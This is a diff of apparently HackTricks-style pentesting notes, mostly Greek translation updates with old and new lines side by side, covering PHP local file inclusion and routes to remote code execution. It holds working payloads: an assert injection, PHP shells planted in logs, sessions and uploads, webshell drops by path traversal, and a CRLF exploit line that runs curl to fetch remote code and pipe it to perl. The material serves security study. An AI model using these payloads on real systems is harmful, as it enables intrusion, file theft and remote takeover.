- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ροές ήχου (Δεν είναι χρήσιμο για ανάγνωση αυθαίρετων αρχείων)
|
||||
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Audio streams (Δεν είναι χρήσιμο για να διαβάσει αυθαίρετα αρχεία)
|
||||
|
||||
## LFI via PHP's 'assert'
|
||||
|
||||
Οι κίνδυνοι από Local File Inclusion (LFI) στο PHP είναι ιδιαίτερα υψηλοί όταν εμπλέκεται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό αν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή απολύμανση.
|
||||
Οι κίνδυνοι Local File Inclusion (LFI) στην PHP είναι ιδιαίτερα υψηλοί όταν εμπλέκεται η συνάρτηση 'assert', η οποία μπορεί να εκτελέσει κώδικα μέσα σε strings. Αυτό είναι ιδιαίτερα προβληματικό αν γίνεται έλεγχος εισόδου που περιέχει χαρακτήρες directory traversal όπως ".." αλλά δεν γίνεται σωστή εξυγίανση.
|
||||
|
||||
Για παράδειγμα, κώδικας PHP μπορεί να έχει σχεδιαστεί για να αποτρέπει το directory traversal ως εξής:
|
||||
Για παράδειγμα, ο PHP κώδικας μπορεί να σχεδιαστεί να αποτρέπει directory traversal ως εξής:
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Παρόλο που αυτό στοχεύει στο να εμποδίσει τη traversal, άθελά του δημιουργεί ένα vector για code injection. Για να το εκμεταλλευτεί για την ανάγνωση του περιεχομένου αρχείων, ένας attacker θα μπορούσε να χρησιμοποιήσει:
|
||||
Ενώ αυτό έχει ως στόχο να σταματήσει το traversal, δημιουργεί άθελά του ένα vector για code injection. Για να το εκμεταλλευτεί για την ανάγνωση του περιεχομένου αρχείων, ένας επιτιθέμενος θα μπορούσε να χρησιμοποιήσει:
|
||||
```plaintext
|
||||
' and die(highlight_file('/etc/passwd')) or '
|
||||
```
|
||||
@ -410,36 +411,36 @@ It's important to **URL-encode these payloads**.
|
||||
## PHP Blind Path Traversal
|
||||
|
||||
> [!WARNING]
|
||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **πρόσβαση** σε ένα αρχείο αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**), ενώ το περιεχόμενο δεν εμφανίζεται.
|
||||
> Αυτή η τεχνική είναι σχετική σε περιπτώσεις όπου εσείς **ελέγχετε** τη **διαδρομή αρχείου** μιας **PHP function** που θα **έχει πρόσβαση σε ένα αρχείο** αλλά δεν θα δείτε το περιεχόμενο του αρχείου (όπως μια απλή κλήση σε **`file()`**) επειδή το περιεχόμενο δεν εμφανίζεται.
|
||||
|
||||
Στο [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) εξηγείται πώς ένα blind path traversal μπορεί να καταχραστεί μέσω PHP filter για να **exfiltrate το περιεχόμενο ενός αρχείου μέσω ενός error oracle**.
|
||||
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
|
||||
|
||||
Εν συντομία, η τεχνική χρησιμοποιεί την κωδικοποίηση **"UCS-4LE"** για να κάνει το περιεχόμενο ενός αρχείου τόσο **μεγάλο** που η **PHP function που ανοίγει** το αρχείο θα προκαλέσει ένα **error**.
|
||||
As sumary, the technique is using the **"UCS-4LE" encoding** to make the content of a file so **big** that the **PHP function opening** the file will trigger an **error**.
|
||||
|
||||
Έπειτα, για να leak ο πρώτος χαρακτήρας χρησιμοποιείται το filter **`dechunk`** μαζί με άλλα όπως **base64** ή **rot13** και τελικά χρησιμοποιούνται τα φίλτρα **convert.iconv.UCS-4.UCS-4LE** και **convert.iconv.UTF16.UTF-16BE** για να **τοποθετήσουν άλλους χαρακτήρες στην αρχή και να τους leak**.
|
||||
Then, in order to leak the first char the filter **`dechunk`** is used along with other such as **base64** or **rot13** and finally the filters **convert.iconv.UCS-4.UCS-4LE** and **convert.iconv.UTF16.UTF-16BE** are used to **place other chars at the beggining and leak them**.
|
||||
|
||||
**Functions that might be vulnerable**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Συναρτήσεις που ίσως είναι ευάλωτες**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Για τις τεχνικές λεπτομέρειες δείτε το αναφερόμενο post!
|
||||
Για τις τεχνικές λεπτομέρειες δείτε το αναφερόμενο άρθρο!
|
||||
|
||||
## LFI2RCE
|
||||
|
||||
### Arbitrary File Write via Path Traversal (Webshell RCE)
|
||||
|
||||
Όταν κώδικας server-side που δέχεται/ανεβάζει αρχεία κατασκευάζει τη διαδρομή προορισμού χρησιμοποιώντας δεδομένα που ελέγχονται από τον χρήστη (π.χ. όνομα αρχείου ή URL) χωρίς canonicalising και validating, τα segments `..` και οι απόλυτες διαδρομές μπορούν να ξεφύγουν από τον προοριζόμενο κατάλογο και να προκαλέσουν arbitrary file write. Αν μπορείτε να τοποθετήσετε το payload σε έναν web-exposed κατάλογο, συνήθως αποκτάτε unauthenticated RCE ρίχνοντας ένα webshell.
|
||||
When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell.
|
||||
|
||||
Τυπικό workflow εκμετάλλευσης:
|
||||
- Εντοπίστε έναν write primitive σε ένα endpoint ή background worker που δέχεται μια διαδρομή/όνομα αρχείου και γράφει περιεχόμενο στο δίσκο (π.χ. message-driven ingestion, XML/JSON command handlers, ZIP extractors, κ.λπ.).
|
||||
- Προσδιορίστε web-exposed directories. Συνηθισμένα παραδείγματα:
|
||||
Typical exploitation workflow:
|
||||
- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
|
||||
- Determine web-exposed directories. Common examples:
|
||||
- Apache/PHP: `/var/www/html/`
|
||||
- Tomcat/Jetty: `<tomcat>/webapps/ROOT/` → drop `shell.jsp`
|
||||
- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Κατασκευάστε μια traversal path που θα βγει από τον προβλεπόμενο storage κατάλογο προς το webroot, και συμπεριλάβετε το περιεχόμενο του webshell σας.
|
||||
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
|
||||
- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content.
|
||||
- Browse to the dropped payload and execute commands.
|
||||
|
||||
Σημειώσεις:
|
||||
- Η ευάλωτη υπηρεσία που πραγματοποιεί το write μπορεί να ακούει σε μη-HTTP port (π.χ. ένας JMF XML listener στο TCP 4004). Το κύριο web portal (σε διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
|
||||
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή `File`/`Paths` concatenation. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
|
||||
- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload.
|
||||
- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw.
|
||||
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
@ -465,26 +466,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Σκληροποίηση που εξουδετερώνει αυτή την κλάση σφαλμάτων:
|
||||
- Μετατρέψτε τη διαδρομή σε κανονική μορφή και επιβάλετε ότι είναι απόγονος ενός επιτρεπόμενου (allow-listed) βασικού καταλόγου.
|
||||
- Απορρίψτε οποιαδήποτε διαδρομή περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων· προτιμήστε παραγόμενα ονόματα αρχείων.
|
||||
- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τις ρίζες που εξυπηρετούνται.
|
||||
Σκληροποίηση που αποτρέπει αυτή την κατηγορία σφαλμάτων:
|
||||
- Επιλύστε σε κανονική διαδρομή και επιβάλετε ότι είναι απόγονος ενός επιτρεπόμενου (allow-listed) βασικού καταλόγου.
|
||||
- Απορρίψτε οποιαδήποτε διαδρομή περιέχει `..`, absolute roots, ή drive letters· προτιμήστε generated filenames.
|
||||
- Τρέξτε τον writer ως λογαριασμό χαμηλών προνομίων και απομονώστε τους write directories από τα served roots.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Επεξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
|
||||
Εξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη συνάρτηση include, μπορείτε να δοκιμάσετε να αποκτήσετε πρόσβαση στα **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, να τοποθετήσετε μέσα στο **user agent** ή σε ένα **GET parameter** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα μετατραπούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
|
||||
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν στη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
|
||||
>
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφεται σωστά το payload** αλλιώς η PHP θα εμφανίσει σφάλμα κάθε φορά που θα προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα πετάει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το log αρχείο και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
|
||||
Αυτό μπορεί επίσης να γίνει σε άλλα logs αλλά **προσέξτε,** ο κώδικας μέσα στα logs μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα logs. Η PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
|
||||
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
|
||||
This could also be done in other logs but **be careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.\ Άλλες πιθανές διαδρομές log:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
/var/log/apache/access.log
|
||||
@ -500,31 +500,31 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Μέσω Email
|
||||
|
||||
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να include το mail του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||||
**Στείλτε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να κάνετε include στο mail του χρήστη με ένα μονοπάτι όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Μέσω /proc/\*/fd/\*
|
||||
### Μέσω /proc/*/fd/*
|
||||
|
||||
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να βρεθεί με brute force) και $FD το file descriptor (επίσης μπορεί να βρεθεί με brute force)
|
||||
1. Ανεβάστε πολλά shells (π.χ.: 100)
|
||||
2. Κάντε include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (can be brute forced) και $FD = το file descriptor (can be brute forced too)
|
||||
|
||||
### Μέσω /proc/self/environ
|
||||
|
||||
Όπως σε ένα log αρχείο, στείλτε το payload στο User-Agent, θα αντικατοπτριστεί μέσα στο αρχείο /proc/self/environ
|
||||
Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα αντανακλαστεί μέσα στο αρχείο /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Μέσω μεταφόρτωσης
|
||||
### Μέσω ανέβασματος
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ.: `<?php system($_GET['c']); ?>`).
|
||||
Αν μπορείς να ανεβάσεις ένα αρχείο, απλά inject το shell payload μέσα σε αυτό (π.χ.: `<?php system($_GET['c']); ?>`).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Για να διατηρηθεί το αρχείο ευανάγνωστο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
|
||||
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εγχύσετε τα metadata στις pictures/doc/pdf
|
||||
|
||||
### Μέσω ZIP file upload
|
||||
### Μέσω ανεβάσματος αρχείου ZIP
|
||||
|
||||
Μεταφορτώστε ένα ZIP αρχείο που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
|
||||
Ανεβάστε ένα ZIP αρχείο που περιέχει έναν συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
@ -540,87 +540,82 @@ Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
```
|
||||
Θέστε το cookie σε `<?php system('cat /etc/passwd');?>`
|
||||
Ορίστε το cookie σε `<?php system('cat /etc/passwd');?>`
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το PHP session file
|
||||
Χρησιμοποίησε το LFI για να συμπεριλάβεις το αρχείο session του PHP
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Μέσω ssh
|
||||
|
||||
Αν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να αποκτήσεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||||
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Μέσω** **vsftpd** _**logs**_
|
||||
|
||||
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στην περίπτωση όπου υπάρχει ευπάθεια Local File Inclusion (LFI), και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να ληφθούν υπόψη τα ακόλουθα βήματα:
|
||||
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Σε σενάριο όπου υπάρχει Local File Inclusion (LFI) ευπάθεια, και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα εξής βήματα:
|
||||
|
||||
1. Εισχώρησε ένα PHP payload στο πεδίο username κατά τη διάρκεια της διαδικασίας login.
|
||||
2. Μετά την έγχυση, χρησιμοποίησε την LFI για να ανακτήσεις τα logs του server από _**/var/log/vsftpd.log**_.
|
||||
1. Εισάγετε ένα PHP payload στο πεδίο username κατά τη διάρκεια της διαδικασίας σύνδεσης.
|
||||
2. Μετά την ένεση, χρησιμοποιήστε την LFI για να ανακτήσετε τα logs του server από _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Μέσω php base64 filter (χρησιμοποιώντας base64)
|
||||
### Μέσω php base64 filter (using base64)
|
||||
|
||||
Όπως δείχνει σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, PHP base64 filter απλώς αγνοεί μη-base64. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο κατάληξης αρχείου: αν παρέχεις base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
|
||||
Όπως φαίνεται σε [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) άρθρο, το PHP base64 filter απλώς αγνοεί τους χαρακτήρες που δεν είναι base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο κατάληξης αρχείου: αν δώσετε base64 που τελειώνει με ".php", θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ ένα παράδειγμα payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Μέσω php filters (δεν χρειάζεται αρχείο)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Το οποίο βασικά σημαίνει ότι μπορείτε να **generate arbitrary php code** for the include **without needing to write** it into a file.
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Αυτό το [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Το οποίο ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **without needing to write** το σε αρχείο.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω segmentation fault
|
||||
|
||||
**Upload** ένα αρχείο που θα αποθηκευτεί ως **temporary** στο `/tmp`, στη συνέχεια στην **same request,** προκαλέστε ένα **segmentation fault**, και τότε το **temporary file won't be deleted** και μπορείτε να το αναζητήσετε.
|
||||
### Via segmentation fault
|
||||
|
||||
**Upload** ένα αρχείο που θα αποθηκευτεί ως **temporary** στο `/tmp`, τότε στο **same request,** προκαλέστε ένα **segmentation fault**, και τότε το **temporary file won't be deleted** και μπορείτε να το αναζητήσετε.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω Nginx temp file storage
|
||||
|
||||
Αν βρήκατε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την παρακάτω τεχνική:
|
||||
### Via Nginx temp file storage
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και το **Nginx** τρέχει μπροστά από το PHP, μπορεί να καταφέρετε να αποκτήσετε RCE με την παρακάτω τεχνική:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Αν βρήκατε μια **Local File Inclusion** ακόμη κι αν **don't have a session** και το `session.auto_start` είναι `Off`. Εάν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα **multipart POST** δεδομένα, το PHP θα **enable the session for you**. Μπορείτε να το καταχραστείτε για να αποκτήσετε RCE:
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** ακόμη κι αν **don't have a session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** στα δεδομένα **multipart POST**, το PHP θα **enable the session for you**. Μπορείτε να εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω temp file uploads in Windows
|
||||
|
||||
Αν βρήκατε μια **Local File Inclusion** και ο server τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
|
||||
### Via temp file uploads in Windows
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και ο server τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω `pearcmd.php` + URL args
|
||||
### Via `pearcmd.php` + URL args
|
||||
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε php docker images. Επιπλέον, είναι δυνατό να περάσετε arguments στο script μέσω του URL επειδή υποδεικνύεται ότι αν ένα URL param δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως argument. Δείτε επίσης [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε php docker images. Επιπλέον, είναι δυνατό να pass arguments στο script μέσω του URL επειδή αναφέρεται ότι αν μια URL param δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως argument. Δείτε επίσης [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) και [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Το παρακάτω request δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
|
||||
Το ακόλουθο request δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Το παρακάτω εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Το ακόλουθο εκμεταλλεύεται μια CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -629,7 +624,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Μέσω phpinfo() (file_uploads = on)
|
||||
|
||||
Αν βρήκες μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on μπορείς να πάρεις RCE:
|
||||
Αν βρεις μια **Local File Inclusion** και ένα αρχείο που εμφανίζει **phpinfo()** με file_uploads = on μπορείς να αποκτήσεις RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -638,7 +633,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Αν βρήκες μια **Local File Inclusion** και **can exfiltrate the path** του temp file ΑΛΛΑ ο **server** είναι **checking** αν το **file to be included has PHP marks**, μπορείς να δοκιμάσεις να **bypass that check** με αυτή τη **Race Condition**:
|
||||
Αν βρεις μια **Local File Inclusion** και **can exfiltrate the path** του προσωρινού αρχείου ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείς να προσπαθήσεις να **bypass that check** με αυτήν την **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -647,24 +642,24 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Μέσω eternal waiting + bruteforce
|
||||
|
||||
Αν μπορείς να εκμεταλλευτείς το LFI για να **upload temporary files** και να κάνεις τον server να **hang** την PHP εκτέλεση, τότε μπορείς να **brute force filenames during hours** για να βρεις το temporary file:
|
||||
Αν μπορείς να εκμεταλλευτείς το LFI για να **upload temporary files** και να κάνεις τον διακομιστή να **hang** την εκτέλεση PHP, τότε μπορείς να **brute force filenames during hours** για να βρεις το προσωρινό αρχείο:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
{{#endref}}
|
||||
|
||||
### Προς Fatal Error
|
||||
### Σε Fatal Error
|
||||
|
||||
Αν συμπεριλάβεις οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβεις το ίδιο ένα 2 φορές για να προκαλέσεις αυτό το error).
|
||||
Αν συμπεριλάβεις οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβεις το ίδιο δύο φορές για να προκαλέσεις αυτό το σφάλμα).
|
||||
|
||||
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά ίσως να είναι.**\
|
||||
_Ακόμα κι αν προκαλέσεις ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._
|
||||
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
|
||||
_Ακόμα κι αν προκαλέσεις ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που ανεβάστηκαν διαγράφονται._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
## Αναφορές
|
||||
## References
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
@ -3,56 +3,56 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Για να αποκτήσετε βαθύτερη κατανόηση αυτής της τεχνικής, δείτε την πρωτότυπη έκθεση στο [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
> Για να αποκτήσετε βαθιά κατανόηση αυτής της τεχνικής δείτε την πρωτότυπη αναφορά στο [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
|
||||
## Enhancing Race Condition Attacks
|
||||
## Ενίσχυση επιθέσεων Race Condition
|
||||
|
||||
